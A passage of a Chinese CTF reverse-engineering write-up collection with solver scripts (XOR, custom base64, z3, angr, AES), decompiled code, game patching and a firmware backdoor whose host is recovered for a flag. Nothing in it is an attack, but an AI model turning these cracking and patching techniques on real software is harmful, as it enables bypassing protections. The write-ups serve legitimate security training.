KEYList.add(Integer.valueOf(KEY[j]));

System.out.println("Result:");
if (Resultlist.equals(KEYList))
System.out.println("Congratulations!");
else
System.err.println("Error!");
}
}

主逻辑也很简单,将输入加上 64 ^ 0x20,最后对比KEY

解密脚本:

key =  [180, 136, 137, 147, 191, 137, 147, 191, 148, 136,
133, 191, 134, 140, 129, 135, 191, 65]

for i in range(len(key)):
key[i] -= ord('@')
key[i] ^= 0x20

print(''.join(map(chr,key)))

得flag:

flag{This_is_the_flag_!}

简单注册机

用JEB 3打开,发现主要判断如下

jdzcj-main

这里有两种解法

  • 直接构造输入4b40000000000000000000000000000000a, 0为任意字符,即可让app直接输出flag
  • 直接用python模拟flag生成流程
v5 = bytearray(b"dd2940c84462b4dd7c450528835cca15")
v9 = 2
v2 =1
v11 = 0x1f

v5[v9] = v5[v9] + v5[31]-50
v5[4]= v5[v9] + v5[5]-0x30
v5 [30]= v5[v11] + v5[9]- 0x30
v5[14]= (v5 [27] + v5 [28] - 97)

for i in range(16):
v5[i], v5[0x1f - i] = v5[0x1f - i], v5[i]

print(v5)

得flag

flag{59acc538825054c7de4b26440c0999dd}

  • 还是直接构造输入快….

[GXYCTF2019]luck_guy

IDA打开发现getflag()函数

luck-gay-main

解密脚本:

f1 = "GXY{do_not_"

f2 = list(map(ord,'fo`guci'[::-1]))

for j in range(8):
if j % 2 == 1:
f2[j] -= 2
else:
f2[j] -= 1


print(f1 + ''.join(list(map(chr, f2))))

换一下外包装,得flag:

flag{do_not_hate_me}

[ACTF新生赛2020]usualCrypt

换表base64 + 大小写转换

import base64, string

new_table = "ABCDEFQRSTUVWXYPGHIJKLMNOZabcdefghijklmnopqrstuvwxyz0123456789+/"

old_table = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"

s = "zMXHz3TIgnxLxJhFAdtZn2fFk3lYCrtPC2l9".swapcase()

print(base64.b64decode(s.translate(str.maketrans(new_table, old_table))))

[WUSTCTF2020]level1

简单加解密

data = [0, 198,232,816,200,1536,300,6144,984,51200,570,92160,1200,565248,756,1474560,800,6291456,1782,65536000]

flag = b""

for i in range(1, 20):
if (i & 1) != 0:
flag += bytes([data[i] >> i])
else:
flag += bytes([data[i] // i])
print(flag)

[MRCTF2020]Transform

简单加密

data = [0x67, 0x79, 0x7B, 0x7F, 0x75, 0x2B, 0x3C, 0x52, 0x53, 0x79, 0x57, 0x5E, 0x5D, 0x42, 0x7B, 0x2D, 0x2A, 0x66, 0x42, 0x7E, 0x4C, 0x57, 0x79, 0x41, 0x6B, 0x7E, 0x65, 0x3C, 0x5C, 0x45, 0x6F, 0x62, 0x4D]

xor_data = [0x00000009, 0x0000000A, 0x0000000F, 0x00000017, 0x00000007, 0x00000018, 0x0000000C, 0x00000006, 0x00000001, 0x00000010, 0x00000003, 0x00000011, 0x00000020, 0x0000001D, 0x0000000B, 0x0000001E, 0x0000001B, 0x00000016, 0x00000004, 0x0000000D, 0x00000013, 0x00000014, 0x00000015, 0x00000002, 0x00000019, 0x00000005, 0x0000001F, 0x00000008, 0x00000012, 0x0000001A, 0x0000001C, 0x0000000E, 0x00000000]

flag = [0] * 33

for i in range(33):
flag[xor_data[i]] = data[i] ^ xor_data[i]

print(bytes(flag))

相册

题目描述找邮箱,全局搜索mail, 找到MailTask

image-20210930114853781

查看sendMailByJavaMail, 可知发送目标地址为mailto, 即第一个参数

image-20210930115102226

跟随C2.MAILSERVER, 可知调用的是native方法

image-20210930115141903

解压, base64解码MTgyMTg0NjUxMjVAMTYzLmNvbQ==得flag

image-20210930115208041

[WUSTCTF2020]level2

upx直接脱壳即可

在汇编中看到flag

image-20210930120143179

[HDCTF2019]Maze

解壳后走个8 * 10迷宫即可

.data:00408030                 db '*******+**'
.data:0040803A db '******* **'
.data:00408044 db '**** **'
.data:0040804E db '** *****'
.data:00408058 db '** **F****'
.data:00408062 db '** ****'
.data:0040806C db '**********'

flag{ssaaasaassdddw}

p.s. 由于没有校验,所以直接穿墙过也可以,只要满足步伐13就可以,例如ssaaasaassdwdd

[GWCTF 2019]xxor

if ( a1[2] - a1[3] == 2225223423LL
&& a1[3] + a1[4] == 4201428739LL
&& a1[2] - a1[4] == 1121399208LL
&& *a1 == -548868226
&& a1[5] == 0x84F30420
&& a1[1] == 0x20CAACF4 )

z3直接解,得到

[3746099070, 550153460, 3774025685, 1548802262, 2652626477, 2230518816]

后一个简单加密, 最终脚本如下

from z3 import *
from Crypto.Util.number import long_to_bytes

x = [Int('x%d' % i) for i in range(6)]

s = Solver()

s.add(x[2] - x[3] == 0x84A236FF)
s.add(x[3] + x[4] == 4201428739)
s.add(x[2] - x[4] == 1121399208)
s.add(x[0] == 0xDF48EF7E)
s.add(x[5] == 0x84F30420)
s.add(x[1] == 0x20CAACF4)

data = []

if s.check() == sat:
m = s.model()
for i in range(6):
data.append(m[x[i]].as_long())

print(data)

key = [2, 2, 3, 4]

for i in range(0,6, 2):
v3 = data[i]
v4 = data[i+1]
v5 = 0x458BCD42 * 0x40
for j in range(0x3f + 1):
v4 -= (v3 + v5 + 20) ^ ((v3 << 6) + key[2]) ^ ((v3 >> 9) + key[3]) ^ 0x10
v4 &= 0xffffffff

v3 -= (v4 + v5 + 11) ^ ((v4 << 6) + key[0]) ^ ((v4 >> 9) + key[1]) ^ 0x20
v3 &= 0xffffffff

v5 -= 0x458BCD42
v5 &= 0xffffffff

data[i] = v3
data[i+1] = v4

flag = b""
for i in data:
flag += long_to_bytes(i)
print(flag)

[MRCTF2020]Xor

简单异或加密

data = [0x4D, 0x53, 0x41, 0x57, 0x42, 0x7E, 0x46, 0x58, 0x5A, 0x3A, 0x4A, 0x3A, 0x60, 0x74, 0x51, 0x4A, 0x22, 0x4E, 0x40, 0x20, 0x62, 0x70, 0x64, 0x64, 0x7D, 0x38, 0x67]

flag = b""

for i in range(27):
flag += bytes([data[i] ^ i])
print(flag)

[FlareOn4]IgniteMe

简单异或加密

data = [  13,  38,  73,  69,  42,  23, 120,  68,  43, 108, 
93, 94, 69, 18, 47, 23, 43, 68, 111, 110,
86, 9, 95, 69, 71, 115, 38, 10, 13, 19,
23, 72, 66, 1, 64, 77, 12, 2, 105]

v4 = 4
for i in range(len(data) - 1, -1, -1):
data[i] ^= v4
v4 = data[i]
print(bytes(data))

[MRCTF2020]hello_world_go

ida打开就看到flag

image-20211001222330183

image-20211001222354843

[WUSTCTF2020]level3

base64换表加密

import base64
data = "d2G0ZjLwHjS7DmOzZAY0X2lzX3CoZV9zdNOydO9vZl9yZXZlcnGlfD=="

new_table = "TSRQPONMLKJIHGFEDCBAUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"

old_table = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"

data = data.translate(str.maketrans(new_table, old_table))

print(base64.b64decode(data))

[WUSTCTF2020]Cr0ssfun

angr直接解

import angr
proj = angr.Project('./Cr0ssfun', auto_load_libs=False)
state = proj.factory.entry_state()
simgr = proj.factory.simgr(state)
simgr.explore(find=0x400000+ 0x000000000001500, avoid=0x400000+0x0000000000001513)
print(simgr.found[0].posix.dumps(0))

[BJDCTF2020]BJD hamburger competition

Unity写的,根据谷歌搜索到的Unity游戏逆向及破解方法介绍-腾讯游戏学堂 (qq.com)

image-20211001225202074

我们将Assembly-CSharp.dll 拖进dnspy反编译,得到核心代码:

image-20211001225305244

丢进sha1在线解密 在线加密 (ttmd5.com)解得1001, 根据Md5函数

public static string Md5(string str)
{
byte[] bytes = Encoding.UTF8.GetBytes(str);
byte[] array = MD5.Create().ComputeHash(bytes);
StringBuilder stringBuilder = new StringBuilder();
foreach (byte b in array)
{
stringBuilder.Append(b.ToString("X2"));
} // 转大写
return stringBuilder.ToString().Substring(0, 20); // 返回前20位
}

得到flag

bpython version 0.20 on top of Python 3.6.9 /usr/local/bin/python3
>>> import hashlib
>>> hashlib.md5(b"1001").hexdigest()
'b8c37e33defde51cf91e1e03e51657da'
>>> hashlib.md5(b"1001").hexdigest()[:20]
'b8c37e33defde51cf91e'
>>> hashlib.md5(b"1001").hexdigest()[:20].upper()
'B8C37E33DEFDE51CF91E'

[FlareOn6]Overlong

IDA打开后面还有东西,动调修改大小为0xb0出flag

image-20211001230317030

[ACTF新生赛2020]Oruga

迷宫题,迷宫为

00 00 00 00 23 00 00 00 00 00 00 00 23 23 23 23
00 00 00 23 23 00 00 00 4F 4F 00 00 00 00 00 00
00 00 00 00 00 00 00 00 4F 4F 00 50 50 00 00 00
00 00 00 4C 00 4F 4F 00 4F 4F 00 50 50 00 00 00
00 00 00 4C 00 4F 4F 00 4F 4F 00 50 00 00 00 00
00 00 4C 4C 00 4F 4F 00 00 00 00 50 00 00 00 00
00 00 00 00 00 4F 4F 00 00 00 00 50 00 00 00 00
23 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 23 00 00 00
00 00 00 00 00 00 4D 4D 4D 00 00 00 23 00 00 00
00 00 00 00 00 00 00 4D 4D 4D 00 00 00 00 45 45
00 00 00 30 00 4D 00 4D 00 4D 00 00 00 00 45 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 45 45
54 54 54 49 00 4D 00 4D 00 4D 00 00 00 00 45 00
00 54 00 49 00 4D 00 4D 00 4D 00 00 00 00 45 00
00 54 00 49 00 4D 00 4D 00 4D 21 00 00 00 45 45

到达 0x21处停止

W 向上
E 向右
M 向下
J 向左

根据可知,0可以一直移动

while ( !data[v2] )
{
if ( v4 == -1 && (v2 & 0xF) == 0 )
return 0LL;
if ( v4 == 1 && v2 % 16 == 0xF )
return 0LL;
if ( v4 == 16 && (unsigned int)(v2 - 0xF0) <= 0xF )
return 0LL;
if ( v4 == -16 && (unsigned int)(v2 + 0xF) <= 0x1E )
return 0LL;
v2 += v4;
}

手动解得MEWEMEWJMEWJM

[FlareOn3]Challenge1

经典换表base64编码

import base64

new_table = "ZYXABCDEFGHIJKLMNOPQRSTUVWzyxabcdefghijklmnopqrstuvw0123456789+/"

old_table = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"

data = "x2dtJEOmyjacxDemx2eczT5cVS9fVUGvWTuZWjuexjRqy24rV29q"

data = data.translate(str.maketrans(new_table, old_table))

print(base64.b64decode(data))

[UTCTF2020]basic-re

看下汇编就出flag

[Zer0pts2020]easy strcmp

修改了strcmp, 实际先进行了一点操作

__int64 __fastcall sub_55E12AB7F6EA(__int64 a1, __int64 a2)
{
int i; // [rsp+18h] [rbp-8h]
int v4; // [rsp+18h] [rbp-8h]
int j; // [rsp+1Ch] [rbp-4h]

for ( i = 0; *(_BYTE *)(i + a1); ++i )
;
v4 = (i >> 3) + 1;
for ( j = 0; j < v4; ++j )
*(_QWORD *)(8 * j + a1) -= qword_55E12AD80060[j];
return qword_55E12AD80090(a1, a2);
}

解密脚本如下:

data = b"zer0pts{********CENSORED********"
print(len(data))
sub_data = [0x0000000000000000, 0x410A4335494A0942, 0x0B0EF2F50BE619F0, 0x4F0A3A064A35282B]

import struct

_data = struct.unpack("<4Q", data)
print(_data)

flag = b""
for i in range(4):
flag += struct.pack("<Q", (_data[i] + sub_data[i]) & 0xffffffffffffffff)
print(flag + b"}")

[ACTF新生赛2020]Universe_final_answer

z3直接解

from z3 import *

s = Solver()

x = [BitVec("x%d" % i, 8) for i in range(10)]
v1 = x[1]
v2 = x[0]
v3 = x[2]
v4 = x[3]
v5 = x[4]
v6 = x[6]
v7 = x[5]
v8 = x[7]
v9 = x[8]

s.add(-85 * v9 + 58 * v8 + 97 * v6 + v7 + -45 * v5 + 84 * v4 + 95 * v2 - 20 * v1 + 12 * v3 == 12613)
v11 = x[9]
s.add(30 * v11 + -70 * v9 + -122 * v6 + -81 * v7 + -66 * v5 + -115 * v4 + -41 * v3 + -86 * v1 - 15 * v2 - 30 * v8 == -54400)
s.add(-103 * v11 + 120 * v8 + 108 * v7 + 48 * v4 + -89 * v3 + 78 * v1 - 41 * v2 + 31 * v5 - (v6 << 6) - 120 * v9 == -10283)
s.add(71 * v6 + (v7 << 7) + 99 * v5 + -111 * v3 + 85 * v1 + 79 * v2 - 30 * v4 - 119 * v8 + 48 * v9 - 16 * v11 == 22855)
s.add(5 * v11 + 23 * v9 + 122 * v8 + -19 * v6 + 99 * v7 + -117 * v5 + -69 * v3 + 22 * v1 - 98 * v2 + 10 * v4 == -2944)
s.add(-54 * v11 + -23 * v8 + -82 * v3 + -85 * v2 + 124 * v1 - 11 * v4 - 8 * v5 - 60 * v7 + 95 * v6 + 100 * v9 == -2222)
s.add(-83 * v11 + -111 * v7 + -57 * v2 + 41 * v1 + 73 * v3 - 18 * v4 + 26 * v5 + 16 * v6 + 77 * v8 - 63 * v9 == -13258)
s.add(81 * v11 + -48 * v9 + 66 * v8 + -104 * v6 + -121 * v7 + 95 * v5 + 85 * v4 + 60 * v3 + -85 * v2 + 80 * v1 == -1559)
s.add(101 * v11 + -85 * v9 + 7 * v6 + 117 * v7 + -83 * v5 + -101 * v4 + 90 * v3 + -28 * v1 + 18 * v2 - v8 == 6308)
s.add(99 * v11 + -28 * v9 + 5 * v8 + 93 * v6 + -18 * v7 + -127 * v5 + 6 * v4 + -9 * v3 + -93 * v1 + 58 * v2 == -1697)

for i in range(10):
s.add(x[i] >= 0x20)
s.add(x[i] <= 0x7e)


if s.check() == sat:
m = s.model()
flag = b""
for i in range(10):
flag += bytes([m[x[i]].as_long()])
print(flag)

输入得flag

➜  tmp ./UniverseFinalAnswer
Please give me the key string:F0uRTy_7w@
Judgement pass! flag is actf{F0uRTy_7w@_42}

firmware

binwalk固件提取, 后用firmware-mod-kit分析

➜  firmware-mod-kit-master ./unsquashfs_all.sh 120200.squashfs
Attempting to extract SquashFS 4.X file system...

Skipping squashfs-2.1-r2 (wrong version)...
Skipping squashfs-3.0 (wrong version)...
Skipping squashfs-3.0-lzma-damn-small-variant (wrong version)...
Skipping others/squashfs-2.0-nb4 (wrong version)...
Skipping others/squashfs-2.2-r2-7z (wrong version)...
Skipping others/squashfs-3.0-e2100 (wrong version)...
Skipping others/squashfs-3.2-r2 (wrong version)...
Skipping others/squashfs-3.2-r2-lzma (wrong version)...
Skipping others/squashfs-3.2-r2-lzma/squashfs3.2-r2/squashfs-tools (wrong version)...
Skipping others/squashfs-3.2-r2-hg612-lzma (wrong version)...
Skipping others/squashfs-3.2-r2-wnr1000 (wrong version)...
Skipping others/squashfs-3.2-r2-rtn12 (wrong version)...
Skipping others/squashfs-3.3 (wrong version)...
Skipping others/squashfs-3.3-lzma/squashfs3.3/squashfs-tools (wrong version)...
Skipping others/squashfs-3.3-grml-lzma/squashfs3.3/squashfs-tools (wrong version)...
Skipping others/squashfs-3.4-cisco (wrong version)...
Skipping others/squashfs-3.4-nb4 (wrong version)...

Trying ./src/others/squashfs-4.2-official/unsquashfs... Parallel unsquashfs: Using 8 processors

Trying ./src/others/squashfs-4.2/unsquashfs... Parallel unsquashfs: Using 8 processors

Trying ./src/others/squashfs-4.0-lzma/unsquashfs-lzma... Parallel unsquashfs: Using 8 processors
480 inodes (523 blocks) to write

[=========================================================================================- ] 454/523 86%
created 341 files
created 39 directories
created 70 symlinks
created 0 devices
created 0 fifos
File system sucessfully extracted!
MKFS="./src/others/squashfs-4.0-lzma/mksquashfs-lzma"

提取出来后,在tmp中找到backdoor, upx解壳,开始找网址:端口

image-20211002002850232

image-20211002002928087

得到echo.byethost51.com:36667

则flag:

➜  tmp bpython3
bpython version 0.20 on top of Python 3.6.9 /usr/local/bin/python3
>>> import hashlib
>>> hashlib.md5(b"echo.byethost51.com:36667").hexdigest()
'33a422c45d551ac6e4756f59812a954b'

[WUSTCTF2020]level4

根据提示,可知程序生成一个二叉树,并输出中序遍历、后序遍历。则应求先序遍历。

由已知得节点结构如下:

00000000 node            struc ; (sizeof=0x18, mappedto_8)
00000000 data dq ?
00000008 left dq ?
00000010 right dq ?

修改一下得二叉树结构

image-20211002010246991

则解密脚本如下:

data = "I{_}Af2700ih_secTS2Et_wr"

class TreeNode:
data = -1
left = -1
right = -1
def __init__(self, data):
self.data = data

x = []

for i in data:
x.append(TreeNode(i))

x[22].left = 15
x[15].left = 20
x[20].left = 5
x[5].left = 6
x[5].right = 8
x[20].right = 18
x[18].left = 9
x[18].right = 1
x[1].left = 16
x[1].right = 11
x[15].right = 10
x[10].left = 13
x[10].right = 2
x[2].left = 0
x[2].right = 17
x[22].right = 21
x[21].left = 4
x[21].right = 12
x[12].right = 7
x[7].left = 23
x[7].right = 14
x[14].left = 19
x[14].right = 3

def preOrder(index):
if index != -1:
print(x[index].data, end = "")
preOrder(x[index].left)
preOrder(x[index].right)

preOrder(22)

[网鼎杯 2020 青龙组]singal

2020 网鼎杯 | Lantern’s 小站

[GUET-CTF2019]number_game

一个明显的5 * 5的数独游戏,用z3直接解, 得到中序遍历后的序列。

动态调试,跳过格式校验后,得到位置对应关系

0123456789
7381940526

则逆推得到flag

from z3 import *

s = Solver()

x = [BitVec('x%d' % i, 8) for i in range(25)]

data = b"14#2330#1#0#23##3##042##1"

for i in range(25):
if data[i] != 0x23:
s.add(x[i] == data[i])
else:
s.add(x[i] > 0x2f)
s.add(x[i] <= 0x34)

for i in range(5):
for j in range(5):
for k in range(j + 1, 5):
s.add(x[5 * i + j] != x[5 * i + k])
s.add(x[5 * j + i] != x[5 * k + i])

if s.check() == sat:
m = s.model()
_data = b""
for i in range(len(x)):
_data += bytes([m[x[i]].as_long()])
print(_data)

_flag = b""
for i in range(25):
if data[i] == 0x23:
_flag += bytes([_data[i]])
print(_flag)

s = b"7381940526"
flag = [0] * 10

for i in range(10):
flag[s[i] - 0x30] = _flag[i]

print(bytes(flag))

[GXYCTF2019]simple CPP

分为三部分

第一部分

输入异或加密

do
{
v9 = flag;
if ( v41 >= 0x10 )
v9 = *(char **)flag;
v10 = qword_7FF69D5F6048; // i_will_check_is_debug_or_not
if ( (unsigned __int64)qword_7FF69D5F6060 >= 0x10 )
v10 = *(char **)qword_7FF69D5F6048;
v6[v8] = v9[v8] ^ v10[v7 % 27];
++v7;
++v8;
}
while ( v7 < flag_len );
}

第二部分

转为64位整数

 do
{
v17 = *v16 + v11;
++v15;
++v16;
switch ( v15 )
{
case 8:
v14 = v17;
goto LABEL_23;
case 16:
v13 = v17;
goto LABEL_23;
case 24:
v12 = v17;
LABEL_23:
v17 = 0i64;
break;
case 32:
sub_7FF69D5F19C0(std::cout, (__int64)"ERRO,out of range");
exit(1);
}
v11 = v17 << 8;
}
while ( v15 < (int)flag_len );

第三部分

一堆运算后进行校验

v38 = x[2];
v19 = x[1];
v20 = *x;
v21 = (__int64 *)operator new(0x20ui64);
if ( IsDebuggerPresent() )
{
sub_7FF69D5F19C0(std::cout, (__int64)"Hi , DO not debug me !");
Sleep(0x7D0u);
exit(0);
}
v22 = v19 & v20;
*v21 = v19 & v20;
v23 = v38 & ~v20;
v21[1] = v23;
v24 = ~v19;
v25 = v38 & v24;
v21[2] = v38 & v24;
v26 = v20 & v24;
v21[3] = v26;
if ( v23 != 0x11204161012i64 )
{
v21[1] = 0i64;
v23 = 0i64;
}
v27 = v23 | v22 | v25 | v26;
v28 = x[1];
v29 = x[2];
v30 = v25 & *x | v29 & (v22 | v28 & ~*x | ~(v28 | *x));
v31 = 0;
if ( v30 == 0x8020717153E3013i64 )
v31 = v27 == 0x3E3A4717373E7F1Fi64;
if ( (v27 ^ x[3]) == 0x3E3A4717050F791Fi64 )
v3 = v31;
if ( (v23 | v22 | v28 & v29) == (~*x & v29 | 0xC00020130082C0Ci64) && v3 )

解密

用z3直接暴力解,发现多解,搜wp发现比赛当时主办方给了提示,差不多是flag[8:16] == 'e!P0or_a'

from z3 import *

s = Solver()

x = [BitVec('x%d' % i, 8*8) for i in range(4)]

v38 = x[2]
v19 = x[1]
v20 = x[0]

v21 = [0] * 4

v22 = v19 & v20
v21[0] = v19 & v20
v23 = v38 & ~v20
v21[1] = v23
v24 = ~v19
v25 = v38 & v24
v21[2] = v38 & v24
v26 = v20 & v24
v21[3] = v26

s.add(v23 == 0x11204161012)

v27 = v23 | v22 | v25 | v26
v28 = x[1]
v29 = x[2]
v30 = v25 & x[0] | v29 & (v22 | v28 & ~x[0] | ~(v28 | x[0]))

s.add(v30 == 0x8020717153E3013)
s.add(v27 == 0x3E3A4717373E7F1F)
s.add(v27 ^ x[3] == 0x3E3A4717050F791F)

s.add((v23 | v22 | v28 & v29) == ((~x[0] & v29 | 0xC00020130082C0C)))

if s.check() == sat:
m = s.model()

data = []
for i in range(4):
_data = []
tmp = m[x[i]].as_long()
# print(hex(tmp))
while tmp:
_data.append(tmp & 0xff)
tmp >>= 8
data += _data[::-1]
# print(list(map(hex, data)))

xor_data = b"i_will_check_is_debug_or_not"

for i in range(27):
data[i] ^= xor_data[i]

data = data[:27]
print(bytes(data))

flag = b""
flag += bytes(data[:8])
flag += b'e!P0or_a'
flag += bytes(data[16:])

print(flag)

findKey

通过字符串找到核心代码(偏移0x1640),花指令nop即可

从后往前,先异或得到最后对比的值

s = b"0kk`d1a`55k222k2a776jbfgd`06cjjb"

s1 = b""
for i in s:
s1 += bytes([i ^ ord("S")])
print(s1) # c8837b23ff8aaa8a2dde915473ce0991

根据所查,该函数为求得md5值

image-20211002203439352

则通过md5在线解密破解,md5解密加密 (cmd5.com)得到123321

image-20211002203532357

查交叉引用,可知String1在sub_401B20函数赋值

int __stdcall sub_401B20(HWND hDlg, int a2, int a3, int a4)
{
switch ( a2 )
{
case 0x110:
return 1;
case 0x111:
if ( (unsigned __int16)a3 != 1 && (unsigned __int16)a3 != 2 )
goto LABEL_6;
EndDialog(hDlg, (unsigned __int16)a3);
return 1;
case 0x202:
LABEL_6:
String1[dword_428C50++] = '1';
return 0;
case 0x205:
String1[dword_428C50++] = '3';
return 0;
case 0x208:
if ( dword_428D58 < 3 )
++dword_428D5C;
String1[dword_428C50++] = '2';
return 0;
default:
return 0;
}
}

0x110 0x111 等数字丢进谷歌所搜,找到AHK的OnMessage - zhanglei1371 - 博客园 (cnblogs.com),则有

WM_LBUTTONUP  0x202
WM_RBUTTONUP 0x205
WM_MBUTTONUP 0x208

根据WM_LBUTTONDOWN_百度百科 (baidu.com)知道WM_LBUTTONDOWN是一个Windows消息,该消息当用户在window客户区域点击鼠标左键的时候发送。则我们根据已知可知我们需要在特定区域点击

左 中 右 右 中  左

根据题目猜测是在Help => About弹出的区域进行点击,后得到flag

image-20211002211707288

[GWCTF 2019]re3

代码自修改, 密钥生成直接动调过,原AES加密

from Crypto.Cipher import AES
data = [0xBC, 0x0A, 0xAD, 0xC0, 0x14, 0x7C, 0x5E, 0xCC, 0xE0, 0xB1, 0x40, 0xBC, 0x9C, 0x51, 0xD5, 0x2B, 0x46, 0xB2, 0xB9, 0x43, 0x4D, 0xE5, 0x32, 0x4B, 0xAD, 0x7F, 0xB4, 0xB3, 0x9C, 0xDB, 0x4B, 0x5B]

key = bytes([0xCB, 0x8D, 0x49, 0x35, 0x21, 0xB4, 0x7A, 0x4C, 0xC1, 0xAE, 0x7E, 0x62, 0x22, 0x92, 0x66, 0xCE])


cipher = bytes(data)
obj = AES.new(key, AES.MODE_ECB)
plain = obj.decrypt(cipher)
print(plain)

特殊的 BASE64

c++, 没有去符号表

base64换表加密

s = b'mTyqm7wjODkrNLcWl0eqO8K8gc1BPk1GNLgUpI=='

new_table = b"AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz0987654321/+"

old_table = b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"

import base64

s = s.translate(bytes.maketrans(new_table, old_table))
print(base64.b64decode(s))

[FlareOn5]Minesweeper Championship Registration

jadx打开看到flag

image-20211002213012376

[网鼎杯 2020 青龙组]jocker

2020 网鼎杯 | Lantern’s 小站

[ACTF新生赛2020]SoulLike

直接angr

import angr
proj = angr.Project('./SoulLike', auto_load_libs=False)
state = proj.factory.entry_state()
simgr = proj.factory.simgr(state)
simgr.explore(find=0x400000+ 0x00000000001117D, avoid=[0x400000+0x0000000000111A1, 0x400000 + 0x00000000001102D])
print(simgr.found[0].posix.dumps(0))

[2019红帽杯]xx

2019 红帽杯 | Lantern’s 小站

[FlareOn5]Ultimate Minesweeper

.Net 用 dnspy, 主要flag生成函数在下图中的SucessPopup中

image-20211002215543589

其中

private void SquareRevealedCallback(uint column, uint row)
{
if (this.MineField.BombRevealed) // 判断是否为雷区
{
this.stopwatch.Stop();
Application.DoEvents();
Thread.Sleep(1000);
new FailurePopup().ShowDialog();
Application.Exit();
}
this.RevealedCells.Add(row * MainForm.VALLOC_NODE_LIMIT + column);
if (this.MineField.TotalUnrevealedEmptySquares == 0)
{
this.stopwatch.Stop();
Application.DoEvents();
Thread.Sleep(1000);
new SuccessPopup(this.GetKey(this.RevealedCells)).ShowDialog();
Application.Exit();
}
}

而 BombRevealed 实现如下, 通过变量名知道通过MinesVisible来判断是否显示

public bool BombRevealed
{
get
{
int num = 0;
while ((long)num < (long)((ulong)this.Size))
{
int num2 = 0;
while ((long)num2 < (long)((ulong)this.Size))
{
if (this.MinesPresent[num2, num] && this.MinesVisible[num2, num])
{
return true;
}
num2++;
}
num++;
}
return false;
}
}

找到打印函数,将显示直接修改为true, 保存

image-20211002221942727

将所有全部打印出来,点下那三个8得到flag

image-20211002222025703

image-20211002222044310

[FlareOn1]Bob Doge

加压得到一个C1.exe程序,双击解压出一个Challenge1.exe

动调直接拿到flag

p.s. 题目描述的密码用来干什么的?

image-20211002223333528

[MRCTF2020]PixelShooter

Unity游戏,解压找Assembly-CSharp.dl, dnspy打开,在UIContoller找到flag

image-20211002224419962

equation

jsf**k编码

拿正则表达式解码

function deEquation(str) {
for (let i = 0; i <= 1; i++) {
str = str.replace(/l\[(\D*?)](\+l|-l|==)/g, (m, a, b) => 'l[' + eval(a) + ']' + b);
}
str = str.replace(/==(\D*?)&&/g, (m, a) => '==' + eval(a) + '&&');
return str;
}

再z3解密即可

from z3 import *

l = [Int("l%d"%i) for i in range(0x2a)]

s = Solver()
for i in l:
s.add(i>0)
s.add(i<255)
s.add(l[40]+l[35]+l[34]-l[0]-l[15]-l[37]+l[7]+l[6]-l[26]+l[20]+l[19]+l[8]-l[17]-l[14]-l[38]+l[1]-l[9]+l[22]+l[41]+l[3]-l[29]-l[36]-l[25]+l[5]+l[32]-l[16]+l[12]-l[24]+l[30]+l[39]+l[10]+l[2]+l[27]+l[28]+l[21]+l[33]-l[18]+l[4]==861)
s.add(l[31]+l[26]+l[11]-l[33]+l[27]-l[3]+l[12]+l[30]+l[1]+l[32]-l[16]+l[7]+l[10]-l[25]+l[38]-l[41]-l[14]-l[19]+l[29]+l[36]-l[9]-l[28]-l[6]-l[0]-l[22]-l[18]+l[20]-l[37]+l[4]-l[24]+l[34]-l[21]-l[39]-l[23]-l[8]-l[40]+l[15]-l[35]==-448)
s.add(l[26]+l[14]+l[15]+l[9]+l[13]+l[30]-l[11]+l[18]+l[23]+l[7]+l[3]+l[12]+l[25]-l[24]-l[39]-l[35]-l[20]+l[40]-l[8]+l[10]-l[5]-l[33]-l[31]+l[32]+l[19]+l[21]-l[6]+l[1]+l[16]+l[17]+l[29]+l[22]-l[4]-l[36]+l[41]+l[38]+l[2]+l[0]==1244)
s.add(l[5]+l[22]+l[15]+l[2]-l[28]-l[10]-l[3]-l[13]-l[18]+l[30]-l[9]+l[32]+l[19]+l[34]+l[23]-l[17]+l[16]-l[7]+l[24]-l[39]+l[8]-l[12]-l[40]-l[25]+l[37]-l[35]+l[11]-l[14]+l[20]-l[27]+l[4]-l[33]-l[21]+l[31]-l[6]+l[1]+l[38]-l[29]==-39)
s.add(l[41]-l[29]+l[23]-l[4]+l[20]-l[33]+l[35]+l[3]-l[19]-l[21]+l[11]+l[26]-l[24]-l[17]+l[37]+l[1]+l[16]-l[0]-l[13]+l[7]+l[10]+l[14]+l[22]+l[39]-l[40]+l[34]-l[38]+l[32]+l[25]-l[2]+l[15]+l[6]+l[28]-l[8]-l[5]-l[31]-l[30]-l[27]==485)
s.add(l[13]+l[19]+l[21]-l[2]-l[33]-l[0]+l[39]+l[31]-l[23]-l[41]+l[38]-l[29]+l[36]+l[24]-l[20]-l[9]-l[32]+l[37]-l[35]+l[40]+l[7]-l[26]+l[15]-l[10]-l[6]-l[16]-l[4]-l[5]-l[30]-l[14]-l[22]-l[25]-l[34]-l[17]-l[11]-l[27]+l[1]-l[28]==-1068)
s.add(l[32]+l[0]+l[9]+l[14]+l[11]+l[18]-l[13]+l[24]-l[2]-l[15]+l[19]-l[21]+l[1]+l[39]-l[8]-l[3]+l[33]+l[6]-l[5]-l[35]-l[28]+l[25]-l[41]+l[22]-l[17]+l[10]+l[40]+l[34]+l[27]-l[20]+l[23]+l[31]-l[16]+l[7]+l[12]-l[30]+l[29]-l[4]==939)
s.add(l[19]+l[11]+l[20]-l[16]+l[40]+l[25]+l[1]-l[31]+l[28]-l[23]+l[14]-l[9]-l[27]+l[35]+l[39]-l[37]-l[8]-l[22]+l[5]-l[6]+l[0]-l[32]+l[24]+l[33]+l[29]+l[38]+l[15]-l[2]+l[30]+l[7]+l[12]-l[3]-l[17]+l[34]+l[41]-l[4]-l[13]-l[26]==413)
